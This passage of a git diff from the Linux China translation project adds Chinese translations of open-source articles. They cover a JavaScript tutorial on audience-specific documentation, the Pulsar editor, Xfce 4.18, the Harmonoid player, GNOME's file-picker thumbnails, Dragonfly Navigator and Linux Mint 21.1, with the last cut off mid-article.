+``` + +当你在浏览器中查看这个网页时,这些样式有助于突出这两个段落。安装指导的所有段落都有一个米白色背景,因为他们都有 读者reader 这个类。第一个段落的字体是深红色的,这是由 专家expert 这个类定义的。第二个段落的字体是深蓝色的,则是由 初学者novice 这个类定义的。 + +![Image of html in red and black text.][3] + +### 添加 JavaScript 控件 + +这些类的应用,使你可以添加一些简单的 JavaScript 函数,只显示其中一个内容块。一个方法是,首先给所有的读者类元素设置 `display:none` 。这会将内容隐藏,使其不会在页面上显示。然后,用函数将你想显示的类元素设置为 `display:block` : + +``` + +``` + +要在 HTML 文档中使用这个 JavaScript,你可以吧这个功能附加到一个按钮上。由于 `readerview` 函数需要一个听众audience(这应该是相对那个虚拟音乐播放器来说的)作为参数,你可以使用你想查看的听众类别来调用这个函数,可以是读者reader专家expert 或者 初学者novice 。 + +``` + + + +How to install the software + + + + + + + +

How to install the software

+ + + +

Thanks for installing AwesomeProject! With AwesomeProject, +you can manage your music collection like a wizard.

+ +

But first, we need to install it:

+

You can install AwesomeProject from +source. Download the tar file, extract it, then run +./configure ; make ; make install

+ +

AwesomeProject is available in +most Linux distributions. Check your graphical package +manager and search for AwesomeProject to install it.

+ + + +``` + +有了这些设置,用户可以在网页上选择他们想看的文本。 + +![Image of window that allows you to select between novice and expert text.][4] + +点击任何一个按钮都将只显示用户想要阅读的文本。例如,如果你点击了 “阅读初学者内容view novice text” 按钮,你就只会看到蓝色段落。 + +![Image showing blue text when you press the novice button.][5] + +点击 “阅读专家内容view expert text” 按钮,就会隐藏初学者文本,只显示红色的专家文本。 + +![Image of red text after the expert button is clicked.][6] + +### 将此扩展到你的文档 + +如果你的项目需要你为不同的听众编写多个操作文档,你可以考虑使用这种方法,一次发布,多次阅读。为所有的用户编写一个文档,是每个人都能很容易的发现和分享你项目的文档。而你也不必同时维护尽在细节上有所不同的多个文档。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/dynamic-documentation-javascript + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosehng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/downloads/learn-javascript +[2]: https://opensource.com/sites/default/files/2022-12/publishonec.textblack.png +[3]: https://opensource.com/sites/default/files/2022-12/publishone.red_.blue_.png +[4]: https://opensource.com/sites/default/files/2022-12/publishone.novicexpert.png +[5]: https://opensource.com/sites/default/files/2022-12/publishone.blue_.png +[6]: https://opensource.com/sites/default/files/2022-12/publishone.red_.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/23/100615quu385qf83bu3p35.jpg \ No newline at end of file diff --git a/published/202212/20221215.4 ⭐️ Pulsar A Community-Led Open Source Code Editor to Continue the Legacy of Atom.md b/published/202212/20221215.4 ⭐️ Pulsar A Community-Led Open Source Code Editor to Continue the Legacy of Atom.md new file mode 100644 index 0000000000..008fd59109 --- /dev/null +++ b/published/202212/20221215.4 ⭐️ Pulsar A Community-Led Open Source Code Editor to Continue the Legacy of Atom.md @@ -0,0 +1,85 @@ +[#]: subject: "Pulsar: A Community-Led Open Source Code Editor to Continue the Legacy of Atom" +[#]: via: "https://news.itsfoss.com/pulsar-editor/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15356-1.html" + +Pulsar:一个由社区主导的以继承 Atom 的开源代码编辑器 +====== + +> Pulsar 的目标是成为 Atom 的替代品,随着其开发的进一步深入,将挑战 Visual Studio Code。 + +![Pulsar:一个由社区领导的开源代码编辑器,以延续 Atom 遗志][1] + +微软决定杀死 Atom 文本编辑器,以支持 Visual Studio Code,这并不奇怪。 + +如果你不知道,你可以看一下我们以前的报道: + +> [为了支持微软 VS Code,微软的 GitHub 正在扼杀 GitHub 的 Atom 编辑器][5] + +虽然你可能有了更好的选择,但曾经流行的 Atom 是一个令人印象深刻的工具。 + +**它有一个可用的社区构建版**;然而,还有一个新的版本(**Pulsar**),旨在实现与原始 Atom 对等的功能,并引入现代功能和更新架构。 + +根据它的文档,原来开发 Atom 社区版的团队现在参与创建了 Pulsar。他们之所以做一个独立的复刻版本,是因为项目的目标不同。 + +**Pulsar** 希望将一切现代化,以成为 Atom 的继承者。 + +> 💡 Pulsar 是一个新项目,作为 Atom 的新复刻,有开发/测试版本可供测试。 + +### Pulsar 编辑器看起来怎么样? + +![Pulsar 编辑器][2] + +当然,用户界面也是大同小异。考虑到 Pulsar 还没有一个稳定的版本,看起来有时会显得有些混淆。 + +然而,文档、软件包以及从 Git 仓库安装软件包的能力等基本要素看起来都已具备。 + +根据官方网站的介绍,Pulsar 的主要功能亮点包括: + +- 跨平台支持(Linux、macOS 和 Windows) +- 内置的软件包管理器 +- 智能自动补全 +- 文件系统浏览器 +- 多窗格的用户界面 +- 查找和替换功能 + +在写这篇文章时,Pulsar 还不能自动更新。你可以通过官方网站安装较新的版本。 + +![Pulsar 编辑器设置][3] + +你可以自定义编辑器、改变键盘绑定、管理软件包、应用主题,并通过所有可用选项配置你的体验。 + +到目前为止,要说 Pulsar 是否会比 Atom 社区版更好还为时过早。然而,这是我们可以关注的事情。 + +### 下载并试用 Pulsar + +如前所述,Pulsar 正处于早期开发阶段。因此,你可以找到用于 Linux 发行版的二进制文件和 AppImage 文件,你可以在任何发行版上试用。 + +在我的测试中,它 **在 Linux Mint 不能正常运行**,但在 **Ubuntu 22.04 LTS** 上工作良好。 + +你可以到它的 [官方下载页面][4] 去获取你的系统所需的软件包,并进行测试。 + +> **[Pulsar 编辑器][4]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pulsar-editor/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/pulsar-hackable-text-editor.png +[2]: https://news.itsfoss.com/content/images/2022/12/pulsar-editor.png +[3]: https://news.itsfoss.com/content/images/2022/12/pulsar-editor-settings.png +[4]: https://pulsar-edit.dev/download.html#releases +[5]: https://news.itsfoss.com/atom-being-discontinued/ \ No newline at end of file diff --git a/published/202212/20221215.5 ⭐️ XFCE 4.18 Release Looks Impressive!.md b/published/202212/20221215.5 ⭐️ XFCE 4.18 Release Looks Impressive!.md new file mode 100644 index 0000000000..73a9c460db --- /dev/null +++ b/published/202212/20221215.5 ⭐️ XFCE 4.18 Release Looks Impressive!.md @@ -0,0 +1,138 @@ +[#]: subject: "XFCE 4.18 Release Looks Impressive!" +[#]: via: "https://news.itsfoss.com/xfce-4-18-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15355-1.html" + +Xfce 4.18 版本发布:令人印象深刻 +====== + +> Xfce 4.18 已发布,添加了一些有趣的功能和细微的变化。 + +![Xfce 4.18 版本看起来令人印象深刻!][1] + +Xfce 是目前最好的桌面环境之一。它因其简单性而受欢迎,是一个轻量级的选择。 + +不像其他桌面环境,你不会看到 Xfce 定期的添加功能。所以,等待升级总是令人兴奋的。 + +Xfce 4.18 是最新的版本,它增加了一些有用的功能和其他技术改进。让我重点介绍一下。 + +### Xfce 4.18 的新变化 + +![Xfce 4.18 有新的默认壁纸][2] + +虽然这不是一个完整的变化列表,但其中一些比较明显的变化包括: + +- 文件管理器的改进。 +- 桌面和面板的变化。 +- 更多的设置。 +- 新的壁纸。 + +#### 文件管理器的改进 + +![Xfce 4.18 文件管理器的分割视图][3] + +Xfce 的默认文件管理器 Thunar 在这个版本中得到了相当多的改变。作为许多 Linux 用户的最爱,Thunar 有一个干净直观的用户界面,使其对不同技能水平的人都很简单易用。 + +在这个版本中,这个有用的工具获得了几个新功能。比如说: + +- 工具条上新的搜索图标使用户能够快速搜索文件和文件夹。 +- 你现在可以添加一个分割视图。 +- 启用独立的图像预览。 + +还有一个有趣的新增功能,可以帮助你**高亮文件**,以便快速发现它们。你可以设置一个前景和背景颜色,如果你不想要这个功能,也可以重置。 + +![xfce 4.18 文件高亮][4] + +你可以从文件的属性选项中访问这个功能。 + +Thunar 文件管理器还增加了一些其他功能,包括: + +- 一个用于定制键盘快捷键的新标签。 +- 新的书签菜单。 + +#### 精致的设置和桌面变化 + +Xfce 桌面的大部分都保持不变。你不应该期待开箱后有不同的用户体验。 + +虽然没有重大的视觉改造,但有细微的完善和功能改进。 + +例如,你可以发现日历小部件的新能力。显示设置提供了更多选项,即使你没有连接多个显示器。 + +Xfce 面板也有一些变化。 + +![Xfce 4.18 面板设置][5] + +这些变化包括用像素而不是百分比来调整高度,以及一个新的 “保持面板在窗口上方” 选项。这使得窗口可以在面板下面延伸,而不是在顶部被切断。 + +更不用说,时钟小程序现在可以自定义其字体类、字体大小和布局。 + +![Xfce 4.18 时钟][6] + +#### 新壁纸 + +当然,我们也得到了一些新的壁纸;你已经在本文的开头看到了新的默认壁纸。 + +![Xfce 4.18 新壁纸集][7] + +如果你很好奇,你可以看看其他为 [壁纸竞赛][8] 提交的各种作品。也许你会发现别人不喜欢的东西。 + +![Xfce 4.18 新壁纸集锦][9] + +这些是计划添加到背景集的其它候选作品。 + +#### 其他变化 + +除了之前提到的那些,这个版本还引入了一些其他变化。 + +- 初步的 Wayland 支持,它允许 Xfce 在 Wayland 显示服务器上运行。 +- GTK4 的更新,提供了更好的性能和稳定性。 +- 一些核心应用程序的小更新,包括对 Xfdesktop、Xfwm4 和 Xfce4-panel 应用程序的改进。 + +关于完整的变化列表,你可以参考 [官方博客文章][10]。 + +### 获得 Xfce 4.18 + +你可以通过软件库为滚动发布的发行版(如 Arch Linux)安装它。对于其他发行版,如果你不想自己做实验,你可能必须等待官方的更新。 + +要想快速尝试,你可以安装 Xubuntu 23.04 日常构建版来获得这些功能。 + +如果你使用的是其他为了稳定起见而不提供快速桌面环境更新的 Linux 发行版,如果你知道自己在做什么,你可以尝试手动安装。 + +> **[下载 Xfce 4.18][11]** + +### 总结 + +Xfce 4.18 是 Xfce 桌面环境的一次重大更新,有许多新的功能和改进。 + +Thunar 文件管理器的更新尤其值得注意,因为它们为用户提供了更多的控制和定制选项。初步的 Wayland 支持和 GTK4 更新将提高性能和稳定性。 + +总的来说,Xfce 4.18是一个受欢迎的更新,将改善 Xfce 用户的用户体验。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/xfce-4-18-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/xfce-4-18-release.png +[2]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-hero.jpg +[3]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-file-manager.jpg +[4]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-file-highlight.jpg +[5]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-panel.jpg +[6]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-clock-settings.jpg +[7]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-new-wallaper.jpg +[8]: https://gitlab.xfce.org/artwork/public/-/issues/1#note_58300 +[9]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-new-wallpapers.jpg +[10]: https://alexxcons.github.io/blogpost_8.html +[11]: https://www.xfce.org/ diff --git a/published/202212/20221216.1 ⭐️ Harmonoid A Beautiful Cross-Platform Music Player With Essential Features.md b/published/202212/20221216.1 ⭐️ Harmonoid A Beautiful Cross-Platform Music Player With Essential Features.md new file mode 100644 index 0000000000..d7ac11e4c3 --- /dev/null +++ b/published/202212/20221216.1 ⭐️ Harmonoid A Beautiful Cross-Platform Music Player With Essential Features.md @@ -0,0 +1,108 @@ +[#]: subject: "Harmonoid: A Beautiful Cross-Platform Music Player With Essential Features" +[#]: via: "https://itsfoss.com/harmonoid/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15386-1.html" + +Harmonoid:基本够用的漂亮的跨平台音乐播放器 +====== + +![][0] + +幸运的是,[Linux 的优秀开源音乐播放器][1] 并不缺乏。过去我们已经介绍了多种选择。 + +在这里,我重点介绍一款免费使用(但不是自由开源软件),可用于多种平台(包括 Linux、Windows 和 Android)的音乐播放器。 + +### Harmonoid:Material Design 的直观用户体验 + +![harmonoid player][2] + +Harmonoid 是用 Dart 语言编写的。它利用 [libmpv][3] 和 [mpv][4] 在桌面平台上实现媒体播放功能。 + +它提供了一个优秀的用户界面。并且不使用 electron.js。所以,如果你讨厌 Electron,你可以试试这个。 + +通常,你会在 Android 上看到应用具有 Material Design UI。如果你不知道,Material 是谷歌的开源设计系统。 + +![harmonoid player info][5] + +没有多少创作者将它用于桌面应用。作为一种改变,Harmonoid 具有 Material Design 用户体验,可以同时做到快速和直观。 + +这让 Harmonoid 为 Linux 用户呈现了独特的用户体验。动画感觉流畅且易于导航,并提供大量有价值的功能来帮助管理你的音乐库。 + +![harmonoid url][6] + +如果你想要一个有良好 UI 和功能集的音乐播放器,我建议你尝试一下 Harmonoid。 + +### Harmonoid 的特点 + +![harmonoid player options][7] + +[Harmonoid][8] 可能看起来像一个简单的音乐播放器,但它包含了一些最有价值的功能。他们包括: + +- 跟唱功能,你可以找到歌词,或者你可以手动添加它们 +- 编辑歌曲详细信息,包括艺术家、年份、流派、曲目编号、专辑和标题 +- 轻松分类和排序你的音乐列表 +- 一个快速搜索功能来找到你要找的东西 +- 缓存元数据以在你每次加载时提供快速体验 +- 与 Windows 和 Linux 的良好集成支持 +- 支持在 Discord 中展示,可以显示你的音乐以及插图和播放按钮 +- 调整音乐的速度、音量和音高 +- 原始元数据读取器可读取你库中任何文件或歌曲的标签 +- 播放由 MPV 提供 +- .LRC 文件兼容性 +- 支持在线 URL(YouTube)和广播流 +- 跨平台 +- 多位艺术家支持 +- 深色/浅色模式 + +除了这些之外,还有一些小功能可以发挥很大的作用,例如**无缝播放和上下文菜单集成,并且它通常是一个轻量级应用**。 + +Harmonoid 应该非常适合想要同时播放音乐或整理收藏的用户。我会说它提供了两全其美的方法。 + +![harmonoid settings][9] + +### 在 Linux 上安装 Harmonoid + +你可以从其 [下载页面][10] 获取 .deb/.rpm 包并将其安装在基于 Ubuntu 的发行版或 Fedora 上。 + +此外,你需要使用以下命令安装 mpv 和 libmpv(对于 Ubuntu): + +``` +sudo apt install mpv lipmpv-dev +``` + +确保安装这些软件包可以让你用 Harmonoid 处理所有类型的文件进行播放。 + +你还可以在 [AUR][11] 上找到基于 Arch 的发行版的 Harmonoid。要探索有关该播放器的更多信息,请访问其 [GitHub 页面][12]和[官方网站][8]。 + +你是否尝试过 Harmonoid 在你的 Linux 系统上播放和整理音乐? 你最喜欢的 Linux 音乐播放器是什么? 在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/harmonoid/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-music-players-linux/ +[2]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-player.png +[3]: https://github.com/mpv-player/mpv/tree/master/libmpv +[4]: https://mpv.io +[5]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-player-info.png +[6]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-url.png +[7]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-player-options.png +[8]: https://harmonoid.com +[9]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-settings.png +[10]: https://harmonoid.com/downloads +[11]: https://aur.archlinux.org/packages/harmonoid-bin +[12]: https://github.com/harmonoid/harmonoid +[0]: https://img.linux.net.cn/data/attachment/album/202212/27/173656kmq05d54llttls55.jpg \ No newline at end of file diff --git a/published/202212/20221216.3 ⭐️ Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years.md b/published/202212/20221216.3 ⭐️ Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years.md new file mode 100644 index 0000000000..945591e75c --- /dev/null +++ b/published/202212/20221216.3 ⭐️ Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years.md @@ -0,0 +1,88 @@ +[#]: subject: "Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years" +[#]: via: "https://news.itsfoss.com/gnome-file-picker/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15380-1.html" + +虽迟但到!GNOME 的文件选取器在 18 年后增加了缩略图视图 +====== + +> 一个长期缺位、也是急需的功能请求,终于通过了! + +![][1] + +如今,程序的用户界面是非常重要的;即使是最简单的交互也能决定用户的体验。 + +GNOME 的文件选取器在查看文件时缺乏适当的缩略图预览,而是依赖于一个普通的列表视图。这对许多人来说可能是不直观的。 + +多年来,缺乏这一功能也成了许多段子和讨论的主题。 + +但是现在,在最初的 [功能请求][2] 提出 18 年之后,GNOME 终于可以支持一个合适的缩略图视图了。 + +让我们来看看这个即将到来的对 GNOME 文件选取器的改变。 + +### 该功能将随着 GNOME 44 到来 + +![GNOME 文件缩略图视图][3] + +正如这个由 GNOME 开发者 [Matthias Clasen][4] 提供的早期构建截图所展示的。GNOME 上的文件选取器将具有一个缩略图视图。 + +这就是它在 GNOME 43 上的样子: + +![GNOME 43 的文件选取器][5] + +**如何访问它?** 在 GNOME 上文件选取器的网格视图里,可以显示文件和文件夹的缩略图预览。 + +现在将很容易区分文件管理器中的项目;不再需要打开一个文件来查看它包含的内容了! + +![GNOME 文件缩略图视图选取器][6] + +当这个功能到来时,你可以通过点击右上方的新视图切换按钮来启用它。 + +**有什么变化?** 对于一个简单的功能添加来说,18 年是一个很长的时间。众多的技术原因使其实施成为一项艰巨的任务。 + +但我很高兴,它终于来了。😃 + +使之成为可能的原因之一是最近在 GTK 代码库中进行的废弃和现代化工作。 + +> 💡 GTK 是 GNOME 的一切的核心的工具箱。 + +而且,这些变化导致 [GtkListView][7] 和 [GtkGridView][8] 使用相同的数据模型来实现这个功能。 + +**预期何时?** 这个历史上的 [合并请求][9] 已经被接受,并为其引入 GNOME 铺平道路。 + +你可以期待它在 2023 年的某个时候与 GNOME 44 一起到来。 + +我很期待!😁 + +我们将把它作为 GNOME 44 功能提供的一部分来报道。所以,请继续关注我们的报道吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-file-picker/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/gtk-file-chooser-gets-thumbnail-preview-support.png +[2]: https://bugzilla.gnome.org/show_bug.cgi?id=141154 +[3]: https://news.itsfoss.com/content/images/2022/12/GNOME_File_Thumbnail.png +[4]: https://twitter.com/matthias_clasen +[5]: https://news.itsfoss.com/content/images/2022/12/file-picker-now.png +[6]: https://news.itsfoss.com/content/images/2022/12/GNOME_File_Thumbnail-2.png +[7]: https://gitlab.gnome.org/GNOME/gtk/-/blob/main/gtk/gtklistview.c +[8]: https://gitlab.gnome.org/GNOME/gtk/-/blob/main/gtk/gtkgridview.c +[9]: https://gitlab.gnome.org/GNOME/gtk/-/merge_requests/5163 +[10]: https://mastodon.social/@itsfoss +[11]: https://twitter.com/itsfoss2 +[12]: https://notion.grsm.io/front-static/logo-ios.png +[13]: https://www.notion.so/front-static/meta/default.png diff --git a/published/202212/20221218.1 ⭐️ Try this Python-based file manager on Linux.md b/published/202212/20221218.1 ⭐️ Try this Python-based file manager on Linux.md new file mode 100644 index 0000000000..bdf9cf56a9 --- /dev/null +++ b/published/202212/20221218.1 ⭐️ Try this Python-based file manager on Linux.md @@ -0,0 +1,113 @@ +[#]: subject: "Try this Python-based file manager on Linux" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-dragonfly-navigator" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15396-1.html" + +在 Linux 上试试这个基于 Python 的文件管理器 +====== + +![][0] + +> Dragonfly Navigator 是用 Python 和 Qt 编写的通用文件管理器。 + +Dragonfly Navigator 是用 Python 和 Qt 编写的通用文件管理器。它易于安装和使用,并且是 Python 可以做什么的一个很好的例子。 + +Python 是一种流行的语言有几个原因,但我认为它的主要优势之一是它对初级程序员和有经验的编码人员同样有用。你可以从一门语言中获得一些令人兴奋的东西,从 [绘制基本几何形状][1] 到 [抓取网页][2] 再到编写僵尸启示录 [游戏][3],或者编写你每天都可以使用的桌面应用。这就是 Dragonfly Navigator:一个人人都可以使用的桌面程序。 + +### 安装 Dragonfly Navigator + +要安装 Dragonfly Navigator,首先从 [Git 仓库][4] 下载源代码。如果你使用的是 Debian Linux 或类似软件,请下载 `.deb` 文件。如果你使用的是 Fedora、CentOS、Mageia、OpenMandriva 或类似软件,请下载 `.tar.gz` 文件。 + +Dragonfly Navigator 只有很少的依赖。因为你不是通过包管理器安装它,所以由你来解决这些问题。它只有两个依赖,所以使用你的包管理器(`dnf` 或 `apt`)找到并安装它们: + +- PyQt5,也称为 `python-qt5` +- Python PIL,也称为 `pillow` + +### 启动 Dragonfly Navigator + +要启动 Dragonfly Navigator,请安装 `.deb` 文件(在基于 Debian 的系统上)或解压缩 `.tar.gz` 文件: + +``` +$ tar xvf dragonfly*gz +``` + +在基于 Debian 的系统上,Dragonfly Navigator 出现在你的应用菜单中。在其他系统上,你必须手动启动它,除非你 [手动安装][5]。 + +现在,我没有安装它,所以我手动启动它: + +``` +$ cd dragonfly +$ ./dragonfly +``` + +![Dragonfly Navigator is a two-panel file manager][6] + +### 双面板 + +Dragonfly Navigator 是一个双面板文件管理器,这意味着它总是向你显示两个目录。在启动时,这两个目录恰好是你的主目录。你可以在任一面板中浏览文件和文件夹。它们的功能完全相同,只有当你开始复制或移动文件时你“位于”哪个面板中才重要。 + +### 打开目录 + +要打开目录,请双击它。默认情况下,该目录在同一面板中打开。但是,如果你想使用双面板布局,请在双击时按住 `Ctrl` 键以在另一个面板中显示其内容。 + +### 打开文件 + +要打开文件,请双击或右键单击它。 + +是的,你可以右键单击文件将其打开。如果你习惯于右键单击调出上下文菜单,那么这需要一些时间来适应。不过,Dragonfly Navigator 中没有上下文菜单,你可能会惊讶地发现,当你将打开文件这一非常常见的操作减少到只需单击一次时,你会觉得自己节省了多少时间。现在可能看起来很傻,但相信我,你会逐渐珍惜它的。 + +### 快速预览 + +某些文件可用于快速预览,因此你不必在某个特定应用中打开它们。要预览文件,请将鼠标悬停在文件上,然后按键盘上的 `Alt` 键。预览出现在对面的面板中。 + +![The second panel of Dragonfly Navigator can be used as a preview pane.][7] + +### 复制和移动文件 + +要将文件从一个目录复制或移动到另一个目录(或从一个目录到另一个目录),有几个步骤。 + +- 在一个面板中,进入目标目录。这是你要将文件复制到的位置。 +- 在另一个面板中,选择要复制的文件。 +- 单击 Dragonfly Navigator 中间条中的 “复制Copy” 按钮。 + +要移动文件,请按照相同的步骤操作,但要单击 “移动Move” 按钮。 + +如果你不习惯双面板文件管理器,一开始会觉得很陌生。但是你仔细想想,在你常用的文件管理器中复制一个文件需要几个步骤(找到文件,打开另一个窗口,拖放等等)。做几次之后,它成为第二天性。 + +### 选择文件 + +通常,你单击一个文件或文件夹以使其成为你的活动选择。这可能与你当前的文件管理器没有什么不同,或者至少与你过去使用过的某些文件管理器没有什么不同。 + +要选择一个范围内的多个项目,请单击一个文件,然后按住 `Shift` 键并单击另一个文件。你单击的两个文件之间的所有项目也被选中。 + +要选择多个任意文件,请按住 `Ctrl` 键并单击要选择的文件。 + +### Qt 和 Python 的力量 + +Qt 工具包是一个强大的编程程序,Python 能够用它创建出色的应用。我在本文中只介绍了 Dragonfly Navigator 的基础知识,所以请下载它,阅读文档,点击并探索它,也许你会发现一个有趣的新文件管理器。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-dragonfly-navigator + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/17/10/python-101#turtle +[2]: https://opensource.com/article/20/5/web-scraping-python +[3]: https://opensource.com/downloads/python-gaming-ebook +[4]: https://github.com/suncore/dflynav/releases +[5]: https://opensource.com/article/18/1/how-install-apps-linux +[6]: https://opensource.com/sites/default/files/2022-10/dragonfly-navigator.webp +[7]: https://opensource.com/sites/default/files/2022-10/dragonfly-navigator-preview.webp +[0]: https://img.linux.net.cn/data/attachment/album/202212/30/105706fk81jdkd1jkh9xpc.jpg \ No newline at end of file diff --git a/published/202212/20221220.5 ⭐️⭐️ Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements.md b/published/202212/20221220.5 ⭐️⭐️ Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements.md new file mode 100644 index 0000000000..c9f1a84de3 --- /dev/null +++ b/published/202212/20221220.5 ⭐️⭐️ Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements.md @@ -0,0 +1,156 @@ +[#]: subject: "Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements" +[#]: via: "https://news.itsfoss.com/linux-mint-21-1-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15383-1.html" + +Linux Mint 21.1 发布:大量的视觉变化和改进 +====== + +> Linux Mint 21.1 带有一个新的默认主题和其他一些改进。 + +![][1] + +Linux Mint 21 已经收到了它的第一个更新,即 **Linux Mint 21.1 “Vera”**。 + +如果你想了解 Linux Mint 21 “Venessa”,我们的官方点评应该能让你尽快了解: + +> **[Linux Mint 21:最好的发行版变得更好了](https://itsfoss.com/linux-mint-21-review/)** + +这个版本与通常的小版本相似。它包括了对外观、感觉和功能的各种变化,这些变化可能看起来很细微,但会影响用户体验。 + +让我们来看看主要的亮点。我们关注的是 Linux Mint 的 Cinnamon 版。 + +### Linux Mint 21.1 Vera:有什么新内容? + +基于 **Ubuntu 22.04 LTS**,该版本的底层将继续使用 **Linux 5.15 LTS** 内核。 + +![][2] + +#### 👀 焕然一新的用户界面 + +当你第一次启动进入桌面时,你应该很快注意到光标的新外观。它默认采用了新的 Bibata 主题。 + +![][3] + +光标、图标主题列表增加了一些新的主题,如 Yaru、Breeze 和 GoogleDot,以及传统的 DMZ 主题。 + +![][4] + +除了传统的 Mint-X、Mint-Y 和 Mint-Legacy 主题外,用户还可以找到一组独特的应用图标主题,这包括 Papirus、Breeze、Numix 和 Yaru。 + +![][5] + +另一件你可能会注意到的有趣的事情,默认的强调色不再是传统的绿色,这是因为 **桌面主题现在换成了 Aqua**。强调色库提供了更多鲜艳的颜色,使桌面看起来更干净、更有吸引力。 + +对于那些希望恢复传统外观的人,你可以在主题中选择 “Mint-Y-Legacy”。 + +此外,以前在桌面上可见的 **电脑、主文件夹、网络和垃圾箱图标** 被默认删除,它们可以在文件管理器中访问。主文件夹的图标则显示在面板上。如果你想恢复以前的方式,你可以通过进入 系统首选项System Preferences 来恢复。 + +#### ✨ 增强的驱动器管理器 + +由于驱动器管理器在用户模式下运行,所以当你启动它时不再要求输入密码。 + +![][6] + +有专门的屏幕来显示离线连接和检测到 现场 USBLive USB 时的情况。你也应该发现挂载现场 USB 比以前更顺畅了。 + +![][7] + +对它也进行了一些修复。 + +Packagekit 现在可以清除已删除的驱动程序和软件包。这解决了一个众所周知的问题,即用户想要在不同版本的英伟达驱动之间进行切换。 + +此外,Debconf 也进行了修补,以解决启用安全启动时英伟达驱动程序的一个问题。 + +#### 👨‍💻 Flatpak 集成和软件管理器的改进 + +很高兴看到 软件管理器Software Manager更新管理器Update Manager 都支持 Flatpak 了。 + +安装和更新 Flatpak 应用程序的过程没有什么不同,应该是很容易的。 + +![][8] + +例如,软件管理器已被更新,以帮助区分用户正在查看的应用程序是哪个版本:Flatpak 版本还是系统版本。还有一个下拉框,用于在一个应用程序的系统版本和 